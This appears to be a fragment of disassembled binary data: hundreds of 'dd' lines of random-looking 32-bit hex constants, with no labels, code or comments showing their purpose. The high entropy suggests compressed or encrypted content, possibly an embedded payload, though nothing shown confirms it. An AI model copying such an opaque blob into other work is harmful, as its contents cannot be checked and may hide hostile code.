		dd 0FF9B51F2h, 0B8DB39E1h, 66130043h, 7680CB6Ch, 1425EB85h
		dd 11FDC5F9h, 0BEE04BB3h, 0E01C971Ch, 8E27BB68h, 533D0711h
		dd 39EB8782h, 0E75C5F50h, 97046B50h, 0B64023CFh, 128478E4h
		dd 0BB97A5AFh, 2C9CC890h, 0DA7F00D1h, 0FF05FD93h, 0FE7951BFh
		dd 0A65759B5h, 700D60FAh, 0DC2E4082h, 25003991h, 2BCC080h
		dd 0AE1009C6h, 0C3CD605Fh, 0A0AF0BC4h, 129F094Ah, 1250FC6Fh
		dd 138DBA0Dh, 5176A2Eh
		dd 99D892AEh, 5487B2E8h, 273C601Bh, 0B6E0B4F1h,	18A2AC07h
		dd 653028FFh, 4B872501h, 6F89C53Dh, 48E116F2h, 0E9A74900h
		dd 4B4586C9h, 7899D292h, 0C23F6D2Bh, 4AF56A42h,	58854A26h
		dd 0AC53BFBEh, 9F46EC5Ah, 8EC5B35Eh, 0FA23C0C0h, 0A04CFD48h
		dd 55750096h, 0CF825986h, 0B503C3E4h, 0F67D7CB9h, 1246B0AEh
		dd 0E6E75E31h, 3017B26Dh, 0D816A028h, 7BEB5037h, 0DD10E1Eh
		dd 2B4920CEh, 9D07719Dh, 0CD80FE59h, 19B66879h,	0A09E5E52h
		dd 49808184h, 0EECC4BEAh, 0B900566Eh, 2201D86Ah, 1617534Ch
		dd 6BBF0AB7h, 2C172484h, 2E405DC9h, 0E7B48F0Fh,	0DD806084h
		dd 12BB16BBh, 6541045Ch, 0D3DDBD05h, 0E90B81A8h, 2A3D020Ch
		dd 0B701A59Fh, 0AFCF73A7h, 54FD307Bh, 0B1072FE7h, 8D9C552Bh
		dd 7F780520h, 0CC9327BBh, 6225A1D6h, 0E7CD55C4h, 72C18EE0h
		dd 557D712Dh, 362FD68Dh, 392FFA0Ch, 69557106h, 4F506DDBh
		dd 0B2F30186h, 0F29B2C3Eh, 1DA7421Eh, 5D5DE2F7h, 1D915B35h
		dd 72076280h, 0A3006923h, 8F5385Ch, 55A1B531h, 0DA02DE2Eh
		dd 0ED99FD8Bh, 5FF426DFh, 2C1783ECh, 8471B853h,	504B1F8Dh
		dd 0D83AB375h, 2781947h, 0BB3D3AE3h, 4409AD59h,	153EAC9h
		dd 4069EE1Dh, 3F96585Ah, 227BC7B1h, 6F7765AAh, 9836611Dh
		dd 3F77F865h, 24A44B0Dh, 4E5B43Ch, 0EBC76800h, 92551A25h
		dd 3EE5F5F9h, 0CA525102h, 2A65E0Eh, 5505E838h, 28DCB954h
		dd 25EB303Ch, 0E2D12805h, 8614005Ch, 6430B0BAh,	0E2B78750h
		dd 8939842h, 9DC0058h, 68BA8E89h, 0DE3BFAE4h, 9D500E26h
		dd 0B3BB602Eh, 9A271EAFh, 0DC43947Bh, 15C013Ah,	0B638D0Dh
		dd 0A961A1F3h, 84B35D2Ah, 0BD112D95h, 16AFD3FDh, 0BA89BB52h
		dd 42BD2D2Eh, 4BD4BD38h, 5A3E7EADh, 0EC68E4FFh,	2821890Ch
		dd 323D8F07h, 4EBE9CF3h, 7756AFAh, 0BC02A23Eh, 0A78BD8F1h
		dd 7D02B623h, 3E81FA89h, 8955C55Dh, 0BD7D046Ah,	76CE0E9Fh
		dd 96A49Fh, 5F45E8C9h, 661464BFh, 0B1D75561h, 7A7A0433h
		dd 28EA387Dh, 0E5B7F5CCh, 1FBB80E5h, 0BF7B32B3h, 720FD4FFh
		dd 598A7397h, 0A0181Dh,	0E98665F7h, 1F0F09BAh, 16E46F48h
		dd 7B911DC9h, 9C7B01D9h, 9597F9D9h, 63F40A3h, 1D2DEF3Dh
		dd 4E77CF5h, 0BC50CA98h, 0C06B80A3h, 386116B1h,	3B048F8Dh
		dd 0AFD7A00Dh, 2CE54F8Dh, 9681A42Eh, 0D1CE1195h, 28E68C3Eh
		dd 89245BB7h, 0B8F53199h, 21852980h, 0BB400DF1h, 4B848757h
		dd 234ECC69h, 5BA5BD4Eh, 0C809DA2Bh, 0B828C01Dh, 4302C463h
		dd 67F9F7E4h, 21F0418Dh, 0AF98AA14h, 1BF71281h,	6855F1BAh
		dd 5A078045h, 67415Ch, 19750285h, 0E5D98BEh, 0E2F0D025h
		dd 6A766067h, 28AB25A4h, 7BA5AC7Bh, 0EC15500Ah,	3BAA7201h
		dd 0BB1A852Fh, 6A45AF42h, 0D6FB5556h, 51261551h, 0F048F218h
		dd 0BF4E47EBh, 4A95C7F1h, 8DC4E9F5h, 0E7FD95A1h, 0D69A5E1Bh
		dd 0AA48EC80h, 3E022379h, 0F5BADCBFh, 8B29C042h, 40D86911h
		dd 1A7B9A8Bh, 5AD07572h, 58A24B5Fh, 0FBCB403Ch,	20F47F20h
		dd 895C0162h, 8F1C905Bh, 0EBE82AB9h, 0ED703C1h,	0C46E3B35h
		dd 1F001923h, 0D5EFE5DFh, 0C7B6A079h, 45404C55h, 2E89352Dh
		dd 0FBA75B73h, 2E7F514Bh, 0F5645622h, 5FB03EEEh, 0DC2FD527h
		dd 7F5D7104h, 2E01047Bh, 0F96046EAh, 88A93B89h,	0B8506113h
		dd 5F368036h, 0BB4A164h, 0FC8AC370h, 88ACD0F4h,	37F52ADEh
		dd 5ED9AAA0h, 1446D620h, 5B92A528h, 0B9CD1221h,	8C17ACFFh
		dd 9DBB5ABDh, 9DC2DCDCh, 0DF80010Eh, 95C4875h, 14C855Eh
		dd 0B72D8C89h, 0DE693A59h, 0E82DD485h, 3CB277DEh, 4C017784h
		dd 4B959AFCh, 2D96CE2Ah, 0A87BBB49h, 0B36434Eh,	972DE6Eh
		dd 75FD0975h, 7E3386B9h, 0C62FA1A2h, 514ADE4Fh,	3512C200h
		dd 5F01BC0h, 0EEBB6672h, 17BEF8Ah, 0F4011C23h, 0A5CAF31Eh
		dd 1226E3FCh, 0BC59E955h, 99884EE1h, 2E9012FDh,	0D7D0BB38h
		dd 775BB4B7h, 78DC938Bh, 0F94A8BDBh, 0DA4FE4F7h, 9E50817Eh
		dd 26F8D205h, 55AFB060h, 0BFCCE231h, 0D5615BF2h, 0AED7C4D1h
		dd 0AB845DDEh, 90C4EA31h, 0B9BE571Bh, 972714E7h, 209670A0h
		dd 57A0F44Ah, 0C5939706h, 6490B22Fh, 4E89Ah, 23B6713Bh
		dd 4ED442CDh, 0D37AC00Ch, 30FEE3B5h, 0F80A5690h, 3EE16A5Bh
		dd 0FB93679Bh, 264AA086h, 0F4906ADFh, 0D67A1513h, 23495705h
		dd 4591DDBAh, 0D245B2B0h, 0E6D2EBECh, 6637B4F5h, 58C7CBB0h
		dd 48BF0566h, 9BD1FF5Eh, 0E4ADC066h, 0B82847A9h, 5C957178h
		dd 0D7829A27h, 0FE5E705Eh, 327E6D51h, 0C65E2DB4h, 0D4F75E6Bh
		dd 0CC92FC97h, 6E12CB7Ah, 35EB509Ah, 0C176348Dh, 60CA14Ch
		dd 52715984h, 0C8809A4Bh, 0A042C017h, 0E938AF32h, 82CBCB0Fh
		dd 25E72610h, 0AF52F160h, 5FE93356h, 36614D61h,	54BAF091h
		dd 69A800D4h, 0B4115C8Ah, 0D4905651h, 4A2F8920h, 408FF65Bh
		dd 1440798Ah, 404CBE90h, 0E7864B71h, 5BD5A101h,	0FB66681Ch
		dd 0E466C13Eh, 73AD2B16h, 220099B8h, 0FF3692F4h, 4B8A3FA6h
		dd 9FC2C4D9h, 2180C9DCh, 7137D2B0h, 0B452EAD5h,	53C45E31h
		dd 0FCD2C412h, 0C94AB6F3h, 57A86E9Dh, 0B26D9417h, 396C0E9Bh
		dd 0DC2C4034h, 7E083BDDh, 1DF80238h, 485BA135h,	435B8A57h
		dd 0A93C8389h, 51ED823Dh, 34EFFF1Fh, 0A2D11940h, 0B0AE00CBh
		dd 0A6F38184h, 564B6B9Dh, 5E0E59C2h, 84051BEh, 7D599Dh
		dd 91C2914Bh, 929004FDh, 0B0F871E4h, 0D2DE4B0Eh, 182D21A1h
		dd 558FF47Bh, 3580647h,	9435CEC0h, 2A2C15F0h, 89058255h
		dd 0CAD49185h, 0E86CA1AEh, 22B7758Dh, 0A4059D15h, 86BD618Bh
		dd 6A1D457Bh, 1C584B88h, 0FBE770h, 0F87BC5F7h, 9100AB57h
		dd 2B50985Bh, 12EB81FAh, 0EB7AF2E4h, 0FC81D02h,	49A66688h
		dd 0E584B183h, 4F31AF04h, 0BB00310Dh, 9564DA46h, 8B40A1D8h
		dd 1D9D09DEh, 85351462h, 0F7F8404h, 0D75A7840h,	0FD0E432Bh
		dd 60A03BF5h, 98BF7080h, 0DC02BFA4h, 0BA5EF94Ah, 0D7F39B3Eh
		dd 8951830Ch, 2815B50h,	0FDB50DBFh, 0B6492F66h,	0E0D05C29h
		dd 0F619BDEEh, 0E73B2200h, 6272341Ch, 20682D86h, 80144D1h
		dd 0D20A6C77h, 31B0302Fh, 0C4235B5h, 91161194h,	88EEE905h
		dd 32F9A520h, 4CB4CCA5h, 9529AB8Ah, 0DD0C3188h,	7FCA2B30h
		dd 0F714CB40h, 0B0F09B66h, 0B7011806h, 0B529519Dh, 0AD6B1065h
		dd 44204EC1h, 4021BBAh,	0F5B5073Bh, 0C3D3BC83h,	0AE4BB9F8h
		dd 25BD16D3h, 96C9E930h, 4228D86Bh, 0C9D301EDh,	0F953FCCFh
		dd 25FC2E5Bh, 80697DFDh, 689EBD65h, 2463E8A8h, 1A9AF7BBh
		dd 0C607C755h, 0A6745BE5h, 5156DB69h, 0D94889A4h, 0EB947B2Eh
		dd 955034D3h, 0BF730077h, 131D1EBCh, 0B537BD23h, 3562BF08h
		dd 0C2A05E2Ah, 9AD5820Fh, 738062D0h, 7C66ADC3h,	0B709AE90h
		dd 5D36DAA1h, 0AF27A584h, 6A2E9B2Dh, 480F0B91h,	4B175877h
		dd 0D3C7CE06h, 80A898E9h, 0F1B5010Bh, 923D381Ah, 5677D31h
		dd 9D2997D5h, 4BE2F9F1h, 4F27B58Ah, 6789F7BDh, 0F95719DFh
		dd 0BB72302Fh, 20098BEBh, 53E1FF70h, 0CEBD70FCh, 0E5E7BE25h
		dd 1F68113Ch, 0ADC0F1BFh, 1D852965h, 419C970Ch,	203F6B45h
		dd 0D7450D6Dh, 49183C00h, 1CAEBF96h, 0E284004Dh, 8D3DAC67h
		dd 94975E93h, 0ED6AEB4Ch, 0DEE80Ah, 0A57FA2FDh,	92E231A7h
		dd 38174448h, 703041E9h, 16512595h, 0A7141FF5h,	0DC535CB0h
		dd 1D503A16h, 0AED65FBCh, 0F1BC3F16h, 426EABD2h, 0EAAC9916h
		dd 1EDFCE02h, 0FF44FDF9h
		dd 4F01A738h, 0B4BC45E9h, 2529575Dh, 64EECD5Fh,	0D8A56016h
		dd 9532B002h, 8EBBCB98h, 2BBEBA18h, 4BF906Bh, 382CC713h
		dd 5F8DBB50h, 0AD90BE64h, 8205633Fh, 4959C29Ch,	0B54658D5h
		dd 27E0D24Dh, 0B757DF5h, 0F925FBEAh, 0FCC455h, 6FC39665h
		dd 0D513C852h, 0EF2F4509h, 76C5D7FFh, 0B82EBA00h, 1266246Fh
		dd 0FF618DBFh, 0B72B32CDh, 8BD00168h, 635F0B1Fh, 0D16DF93Ah
		dd 8C09001Ch, 0E5879DEBh, 0E4C218C7h, 6BB168D4h, 76258991h
		dd 0F3F30ADh, 0DE5F8A31h, 0B92F3BA1h, 9867B816h, 2D0920DFh
		dd 0E23CB725h, 703DDF36h, 4F974D81h, 0B0F115F5h, 963FFDF8h
		dd 20E908B7h, 95AA8917h, 12FCF818h, 3AF3CA4Ah, 0E9FE8A04h
		dd 8A9EBB86h, 9529FCC1h, 3A5DC265h, 0DEA1042Fh,	9DD398FBh
		dd 1CE254Bh, 0A0D6A65Fh, 5F9860h, 0C9BD1E56h, 0BFD78A12h
		dd 535CA409h, 0C407742Fh, 96444007h, 3997E74Ch,	0A6613C89h
		dd 6EA1EFBFh, 9CB421E6h, 0F800EB9Ah, 7175EAA7h,	179DCA8h
		dd 19EF815Dh, 2F72D288h, 75040313h, 0C0172DC5h,	50FAB050h
		dd 80DC78EDh, 29BBED7Eh, 0DCF2D3h, 4D6C90CBh, 7DAB23D4h
		dd 0E89F1B00h, 0E001C781h, 5F3C2575h, 0B382FFC6h, 68FD205Fh
		dd 5E7A4FB9h, 0B4B237Dh, 0FFA280EFh, 5B4BCB72h,	4C46D580h
		dd 0FC3BF965h, 26F74F18h, 94975E0h, 6A9CFC02h, 0D53223CDh
		dd 0B314E8C6h, 77E9E0h,	2BE260A3h, 5FF62Ch, 0BB3A4924h
		dd 0B757A4CCh, 5B302D16h, 78DA7282h, 0FDE2CB6Dh, 0ED5DC542h
		dd 6115643Eh, 9620A3C1h, 0B053D225h, 47B7F9B3h,	0D443AE5Dh
		dd 8D01B909h, 0B70258A1h, 46497653h, 0F78100DFh, 7C5DD6D2h
		dd 0BDB544E9h, 0A87DA71Bh, 0F918A377h, 973179EEh, 54F2F11Dh
		dd 0F4B5D47Fh, 0B3E6E542h, 0A1245037h, 1849325Eh, 42F671F8h
		dd 0E50A0553h, 1C912702h, 69E19623h, 0C0022740h, 0CFFB1EC5h
		dd 4C181A79h, 2BCAB100h, 0BF58DE94h, 19B3125Dh,	58D1E36Eh
		dd 72D52DC4h, 61B525F6h, 47D8A6DBh, 9EA9EFAh, 4998FBD5h
		dd 7B00C45Bh, 3A1CED59h, 96590h, 9D24F3A0h, 576C929Ah
		dd 544F190h, 83CD04BBh,	0B95B62A7h, 83E9D3EAh, 0A40B36A8h
		dd 0FF1D5DE1h, 21FD1B09h, 0CCF38059h, 9FFBB445h, 1702933Ah
		dd 7711B9BDh, 54498D51h, 6001D4A6h, 58225509h, 5C8A7896h
		dd 0F4D12A8Dh, 9F091646h, 675E4769h, 0F46DF5E9h, 0B11E0240h
		dd 0C7BD0BE4h, 0D85BEAAh, 1E4914Dh, 36F52E95h, 0B43AA67Eh
		dd 7F57B072h, 0BF03D359h, 0F7F923AFh, 0C6B5552Bh, 4C36ECA5h
		dd 3F07D3C4h, 52FAC9D5h, 20F46B26h, 85E87916h, 0EE220516h
		dd 0F6B60864h, 0BC0F90A0h, 0F9758497h, 91FB3BEh, 782F9DBBh
		dd 526F9F4Ah, 95207D61h, 0F5F5BF24h, 97F94930h,	3253A050h
		dd 0BFCD5EF5h, 5B440CB8h, 0EF33CC2h, 8A735FCEh,	0AE853D13h
		dd 23E46BAEh, 2FCC0616h, 0DF5C6A8Ch, 0D8A6602Eh, 1265BB50h
		dd 584C449Dh, 0E7976CEh, 9468599h, 877ABD18h, 0CF000B97h
		dd 0C2ED4045h, 99F6A82h, 44F259E4h, 18233FA2h, 4D745401h
		dd 0DCC696CCh, 3D3740CEh, 0A9FEC516h, 8E25716h,	212E9CBAh
		dd 8B407C96h, 0A30D64h,	0AB588DA0h, 0B4BA450h, 8A135F75h
		dd 0D66F96FCh, 0EB5E9913h, 26AA88h, 411B4F3Dh, 56D4EAA4h
		dd 257EB500h, 0E952B6CEh, 52AB853h, 7DD9D2DCh, 938CEE5Eh
		dd 406B004Fh, 77446EFh,	409A0A4h, 0D74BB565h, 5357336Ah
		dd 3539F856h, 3DE5A500h, 4E16544Ch, 0E09097B2h,	1B01CDD2h
		dd 0E1A0E7CFh, 0A93BC3C1h, 0CA76A9B3h, 9C4F680Eh, 71B9A040h
		dd 2C4FAB24h, 0EB4E4AF8h, 0CF087C52h, 0BB61130Ah, 5AB0D34h
		dd 0BB37F03Ah, 3080AE2Ah, 0C9DCEDAh, 2F8C8D0Bh,	65AE18CCh
		dd 0F7599FE4h, 0DDCB4707h, 0C1F97900h, 0B705772Bh, 46401856h
		dd 939B3Bh, 1250E9ACh, 0B60C2ABh, 0B54B3E04h, 63FC46D1h
		dd 81C40980h, 3B27FBA0h, 2DD07C5Bh, 0CE362290h,	10E14102h
		dd 7767C673h, 0B852065Bh, 12C0D998h, 8C20E5Fh, 0B38F02BEh
		dd 118C0ECFh, 38B58A4Bh, 0A8DE4F6Bh, 0BCE2E185h, 0CBF88180h
		dd 61CAFE6Ch, 5CF823A9h, 1BCE209h, 9BB94A35h, 2F25A749h
		dd 0F400D934h, 3B071D1Bh, 0F67AE1C6h, 0C0A7F295h, 9805FD07h
		dd 1E5D257Fh, 5DDAD8DEh, 2001A335h, 4D9DA96Ah, 0A472852Ah
		dd 0D54BBD1Dh, 31E92E04h, 9B5EDFBCh, 3EAC80DEh,	5B27D7E6h
		dd 794E8860h, 0E92CF495h, 2549447Fh, 0E4DA9589h, 0BD336117h
		dd 258B0EB4h, 0F4EEF8C1h, 0BBF3597h, 0D48B80F5h, 6AF0367Ah
		dd 0F4E666E1h, 850C85FFh, 38D2AF0Dh, 0FC6D7F6Ah, 0AE54A4E1h
		dd 26E33974h, 8284B02h,	0F8301FF9h, 0BB14F8A6h,	7FC2D0F7h
		dd 1A13855Eh, 10BCE584h, 71A6E4Fh, 4926FFB6h, 0DEAF17E0h
		dd 0C4A24FC1h, 0FBB0B07Eh, 0B2985D8Ah, 0DEB7B509h, 7A6A124Eh
		dd 5282048Dh, 0A3BA6A5Bh, 89BB3A30h, 0F733AB63h, 52435095h
		dd 54A691B5h, 37006B63h, 36307222h, 0D300064Dh,	0F75E8B01h
		dd 74969EC3h, 0FC8F5E76h, 0FA60CD3Dh, 8B22AC2h,	61143001h
		dd 49DD4B8Fh, 2A88679h,	626DF0BEh, 0FF61D13Eh, 0BCEF39D1h
		dd 1CF401D4h, 0DD9509B3h, 5B987A04h, 89DC00D8h,	936441DBh
		dd 400050C7h, 7A94679Ah, 1360143Fh, 0A236CC6Dh,	0BB968861h
		dd 59F1892Dh, 51086E24h, 0EBE072Dh, 611D0045h, 0B7B7026Ah
		dd 0F8770287h, 7A431B93h, 80F2D4C0h, 90B0F31Fh,	5F505BC9h
		dd 0DE31329Ah, 5B0ED4E6h, 38289F00h, 8ADFFEB1h,	77419772h
		dd 95AC9CD9h, 89121350h, 0E9C2FE85h, 80855161h,	0E8EE74BFh
		dd 80280F2Dh, 43F3751Bh, 0DAE0BF7Bh, 9C00DBBEh,	4062DC1Bh
		dd 1AEBA7Ch, 0F3E6815Fh, 707073F8h, 679769AAh, 13B0130Ch
		dd 0BC43B905h, 18104899h, 0D20EAD13h, 6E74DF58h, 4BAABDC5h
		dd 9DFC50E8h, 0C141BF63h, 0A97B4DD4h, 3F8FE8F3h, 5581103Ch
		dd 819D2BFFh, 0D08A6E15h, 736C6025h, 1E758D10h,	659D3104h
		dd 0D6610928h, 14A5088Fh, 0BD2B5305h, 59169FB9h, 0B8D6E961h
		dd 0D2058C19h, 0B79314D0h, 0EB8ACDFBh, 0B273EAFCh, 0E6AEBC34h
		dd 89F9A532h, 0E5C0AF92h, 0C46D9529h, 0B2FF6AEBh, 0E3F2001Eh
		dd 185F7AB4h, 7FA32D12h, 330B0D7h, 0B6A8B02Fh, 0EE02ADE3h
		dd 57521B25h, 828BDD4Eh, 54B52A22h, 0DCBC088h, 0B051F844h
		dd 0AD40C6A1h, 62975FADh, 100CDE4Dh, 0B7DD4027h, 0D8F5C725h
		dd 0BB530745h, 843BED59h, 2C97E95Bh, 5E6BFAF6h,	17DEADB1h
		dd 0E078F547h, 2151B501h, 0D88B63C6h, 9B819760h, 0C11499Dh
		dd 0C6BF2D66h, 1508457Ch, 0C87A2D0Ah, 0D403DF2h, 52C81E2Bh
		dd 0E0795223h, 0A9D5B2Ah, 30108F70h, 0FDAFE925h, 0F683FEABh
		dd 5F8A4C44h, 52119077h, 0B6F21683h, 80DBEC2Eh,	0C1CAA718h
		dd 54870096h, 9D84F6E3h, 6DF2B73Ah, 2725E69Fh, 72425F5Bh
		dd 7EA0EF18h, 0D5E76A03h, 907D3501h, 16DA781h, 344C1DF9h
		dd 3BBEC122h, 45A62B8Dh, 899D04B3h, 7DF80905h, 81023CECh
		dd 184853C7h, 15B13805h, 2572169Dh, 96F70F99h, 0D788823Ch
		dd 4995F1B9h, 14347A8Fh, 4E846CBDh, 8060016Fh, 2E20D7C7h
		dd 0CFB317C2h, 7A07B61h, 3EFD426Ch, 0A5D6CFF0h,	0B7494B38h
		dd 0ACB34D39h, 95C8C4BAh, 7EB9051Fh, 0BD31F041h, 643A09C9h
		dd 0AB6AAE87h, 0AE8A0212h, 1FCE4D0h, 9C94B8Dh, 8CD3F526h
		dd 3E191D51h, 57C2D9E8h, 0D3E8F335h, 0DE9DD22Bh, 59A9257Bh
		dd 0A9000D64h, 0EABE5BBFh, 0CAFDF6h, 3DDDD60Fh,	0E3C92CB4h
		dd 0F3042EB4h, 0E3AECCD7h
		dd 0F781C07Ch, 4F680A02h, 814EDB5Dh, 0B5D41F8Eh, 25142FF4h
		dd 1477BF90h, 0A9BB005Ch, 3ADEA6ECh, 6800DB6Ah,	4A64323Fh
		dd 243D5552h, 2D95F0FCh, 5D30897Fh, 0B5976266h,	97199181h
		dd 0BC254BCh, 0B868ADBDh, 9209E781h, 5D238C15h,	0BD6169C5h
		dd 0BC050625h, 97D51373h, 0AAE024A6h, 0C24E5946h, 5C25808Ah
		dd 0D26F404Fh, 76FF2009h, 1646D427h, 0C9CD080Ah, 21790997h
		dd 9E11776h, 927E69B5h,	8D82E1C3h, 0E7DD1BADh, 0B4D62DBAh
		dd 0DE81DE27h, 0D182384Bh, 51A274D9h, 51B61476h, 0CA58AF5Bh
		dd 0ED301198h, 9C082F1Dh, 60F88921h, 2DC3256h, 0F6139330h
		dd 50E2F774h, 7DEA89F5h, 7DABF963h, 37D7E19Ah, 1EF980CFh
		dd 0FE86E03Eh, 0DEB3C613h, 0B1E269A4h, 4D384FBh, 0C36AB8EEh
		dd 85A59D23h, 899CABBh,	2F2AD5B5h, 0F998907Dh, 8FBC027Bh
		dd 346C0959h, 60580057h, 0BB9E1B2h, 561BE54Eh, 0BE310A87h
		dd 7DB05AA3h, 905840C7h, 0DD5B8501h, 0DBFA7A95h, 9687C0AFh
		dd 0A7FF3Dh, 0FE33C1BBh, 9D8D891Bh, 0D8A30A5Bh,	47BB6682h
		dd 3A34435Dh, 0FBA65353h, 5C4C381Fh, 6488BB80h,	585851BAh
		dd 0E3B85AEAh, 4CDB5E0h, 302ED989h, 0F81BB34h, 897EF80Bh
		dd 0FC39FE85h, 0E9EE5007h, 0C10C027Ch, 72709777h, 0A22C6557h
		dd 60027FB9h, 16DD08D5h, 0D4C29CD1h, 2DABAA59h,	257DE410h
		dd 0E5E5C9A6h, 0FCC55D52h, 0AA378996h, 215F6391h, 0ECB557C2h
		dd 65801C91h, 4D5ACE41h, 89F1E995h, 0F0FCF66Bh,	27EDFE4Fh
		dd 0EBF4B529h, 3235F5A7h, 0E764C25h, 901FEAF1h,	0B04BFB22h
		dd 785A097Dh, 0B26D971Eh, 1C03E3C0h, 9600970h, 9A40A9BDh
		dd 117C8D31h, 295BAEBFh, 0F4950B52h, 8DC42D81h,	54304000h
		dd 4E82FE2Ah, 0A5F10B66h, 92F75B79h, 7B84F570h,	432DBA2Ah
		dd 95B0CC36h, 89002C74h, 0AD68668Bh, 0BFEDAA86h, 0BBC07B51h
		dd 69F38B2Dh, 4B5E123Dh, 7049AA40h, 0F643008Eh,	0CCB17624h
		dd 0DE2562DAh, 0B1FF061h, 12747D52h, 507892DBh,	84D94E56h
		dd 88E7BE94h, 0FDCC82A0h, 3091A1A0h, 0BC609080h, 17DF40E1h
		dd 0F625B1A0h, 0FF9A5D0Ah, 61CB7F60h, 0DFB0DEABh, 37BF905Fh
		dd 0EEDD0244h, 0BAD6A829h, 0ACA22113h, 0A0CDA6D2h, 1E49AD7h
		dd 7C1913ECh, 9E3F1BDDh, 96203162h, 0DE5E3F73h,	30C5C001h
		dd 9AFA723h, 0CE29CCAEh, 6065DBD1h, 86802BBCh, 0D7710A05h
		dd 41478800h, 4B1D9ED8h, 0F94002C2h, 0CFE7805Ah, 9123C557h
		dd 0E9935014h, 20AC284Ah, 5F47DC5h, 5C8BFD0h, 0FB83B7CAh
		dd 5CF923DAh, 0C505CA81h, 8D09C690h, 0EE0106B5h, 0AC730DB5h
		dd 947A8585h, 0E0ADE6D6h, 524FA22Dh, 4ECDCBD6h,	27B43E59h
		dd 9E6D4EB5h, 7FF5C481h, 0A5392h, 118CAEBFh, 8CA6494Bh
		dd 0D73219B2h, 6E654920h, 0A9B0EB80h, 7D61B525h, 1101F9BDh
		dd 66A7DEDDh, 0BD3C753Ch, 49DB1E2Dh, 16BD66AFh,	0D2999D29h
		dd 98F55114h, 0B766B35Ah, 3127CC5Ah, 0D26665B5h, 0A78B795Dh
		dd 97D637DEh, 2D6F4430h, 24EA984Fh, 18A666A6h, 0D119252Dh
		dd 0DD5C69FDh, 79A702D4h, 0B07F4706h, 5122737Fh, 2084C319h
		dd 16FB4977h, 0A0A79412h, 0D19F0D07h, 74BD472Ch, 9F5CE80Ch
		dd 7C3F4267h, 1DE0DC72h, 77F98B25h, 0EC2D9035h,	66CF09DBh
		dd 435F4F60h, 7DE9D433h, 7C8C1AACh, 90B40450h, 9226E61Fh
		dd 80011662h, 56AD72D3h, 1413785Ch, 10F9CABBh, 0C14B1FF9h
		dd 2A4CC74Bh, 16C8729Ah, 0C272D4C0h, 50DA278Ah,	37DD30DFh
		dd 0B59290E3h, 0F07BDD53h, 0F606C538h, 67B4268Eh, 95AC555Bh
		dd 0B12DB92Fh, 0E4EB9754h, 165E2D8Dh, 90A00AA7h, 620908B5h
		dd 0D1AF52F4h, 8E424BB6h, 7287DBD7h, 5A04CE5Dh,	4E4AAA89h
		dd 1F96C2F9h, 88CD08ECh, 317E970Fh, 49D6C8h, 963092F6h
		dd 0EEFFAEE0h, 0F279FB09h, 5A5B46A4h, 8E89C860h, 0E67FCD04h
		dd 0C2AF1486h, 95A48DEFh, 80A4A859h, 0A6E69FF9h, 0BE5E0EE0h
		dd 4AA05277h, 25A57566h, 37E36302h, 5D61D3F8h, 18919EB5h
		dd 0DE8DF680h, 0EBA38FD7h, 0BF6647FCh, 0BD2B74B0h, 0A71D4B7Dh
		dd 0DD8650DAh, 0D7B701EFh, 0B7F84448h, 0CE5A1BD3h, 47870EE9h
		dd 0DA006866h, 2C25843Eh, 0C5C590BFh, 7F5B122Eh, 88F1F264h
		dd 0AD78AD35h, 5C8A21E2h, 32F96BC3h, 756D6B01h,	46D0E25Ah
		dd 0C43E011Ah, 0E6EA6BCh, 0D1022F63h, 77799531h, 38015CD3h
		dd 50F6C7C9h, 0B4EEF77Eh, 7155DDCh, 0C9806460h,	44708BFFh
		dd 383C4BDh, 7DCB27A6h,	0C09F26FBh, 1B3EDB50h, 0B1B5BB00h
		dd 0E95F3486h, 0CB8B97F9h, 97DE6A7Eh, 50974CD6h, 0B73FC8EEh
		dd 8260C4C9h, 0FFF13B4Bh, 0C16BB18Eh, 3D86AB37h, 0C507F97h
		dd 5F46D981h, 0A917C00Ah, 6BFA616Fh, 63984A11h,	52CD6021h
		dd 907467C7h, 50EAB717h, 0FF10B3EDh, 13E91107h,	4F050D00h
		dd 8CE125F3h, 966C4300h, 0BD939A44h, 0D35A0BECh, 3A42CB15h
		dd 8370327Bh, 9473173Eh, 0F9780B46h, 3AAD9E76h,	51A84220h
		dd 48B70A87h, 91E0587h,	456FBB15h, 92C7E7Bh, 4F7192B1h
		dd 0ED97ED78h, 1D76C098h, 890406D3h, 838A46DDh,	953E87E2h
		dd 3500DEBEh, 0A28D7261h, 0A12D1B6Fh, 0C92D5EC1h, 60FC12FFh
		dd 0B511F5C1h, 56BF08C6h, 0D5C52586h, 14855A50h, 0B9A4DD87h
		dd 406B110h, 2A699D2Bh,	568E9CEFh, 0FF5B99C2h, 4FEE5ED1h
		dd 0CC6F00F6h, 4610F6Bh, 404E5400h, 5FB6C5A8h, 479325E4h
		dd 0A51A69E5h, 9F8FB73Fh, 6AD3C2A2h, 0C4572902h, 0C8504A7Ah
		dd 33002201h, 0FEF11163h, 9D441Fh, 28E58E7Ah, 9E2399BEh
		dd 0BF7B760Fh, 42208598h, 0FFBDC5BEh, 87C13A9Bh, 3A143895h
		dd 220E9A1h, 8A1621Dh, 82E5535Fh, 5040DB2Dh, 33034521h
		dd 0E9FF958Ch, 0AA1D4E07h, 38C42437h, 2483CEAEh, 75258E28h
		dd 8239D9B7h, 54D275D5h, 0E1215F0Ch, 6E236195h,	0CE419EDDh
		dd 9F3D0BD9h, 0B9BAB807h, 0C2385C04h, 0BB506101h, 3121A46Ch
		dd 0F080E63Bh, 25BD337Dh, 7AE522EDh, 6EFAF516h,	8FD94F46h
		dd 9D63607Eh, 597A9CFh,	74BB0E6Ah, 0ED0F296h, 0F1DB99h
		dd 0D28ED1CDh, 0FDFE25DFh, 6A6590F5h, 0F8564BFFh, 63A680DFh
		dd 956DA91Ah, 0D97C21Ch, 0F06F3D32h, 0A52FB537h, 0F4905C0Eh
		dd 0B24CF312h, 362258F6h, 23A4497h, 0C816B62Ah,	0B1FFAC77h
		dd 6F60A742h, 46B04DBEh, 1085D10h, 9D3170E6h, 0E23B093Dh
		dd 0C3810481h, 59BD5568h, 85C40138h, 0F42A992Dh, 2C465A23h
		dd 6A46BD07h, 0C620885Fh, 5CF6ABh, 9939BBDDh, 3B06E5E4h
		dd 10B5B0B0h, 1D4A15Ch,	0B6F15927h, 2F0D83A3h, 80C46717h
		dd 60CF63B8h, 90D1FA49h, 919D0182h, 2B610110h, 0A13689C8h
		dd 43DB7405h, 111A599Dh, 2399BE9h, 0B2369F0h, 2D1541D7h
		dd 77F18100h, 5EB13917h, 50850500h, 0B747554Ch,	356D1510h
		dd 0A65AF100h, 0B543232Ch, 0ED3BE739h, 98A25B7Dh, 0D0221D10h
		dd 0DB9D3EBEh, 654092B3h, 4CE925F8h, 12533A76h,	0F63335D0h
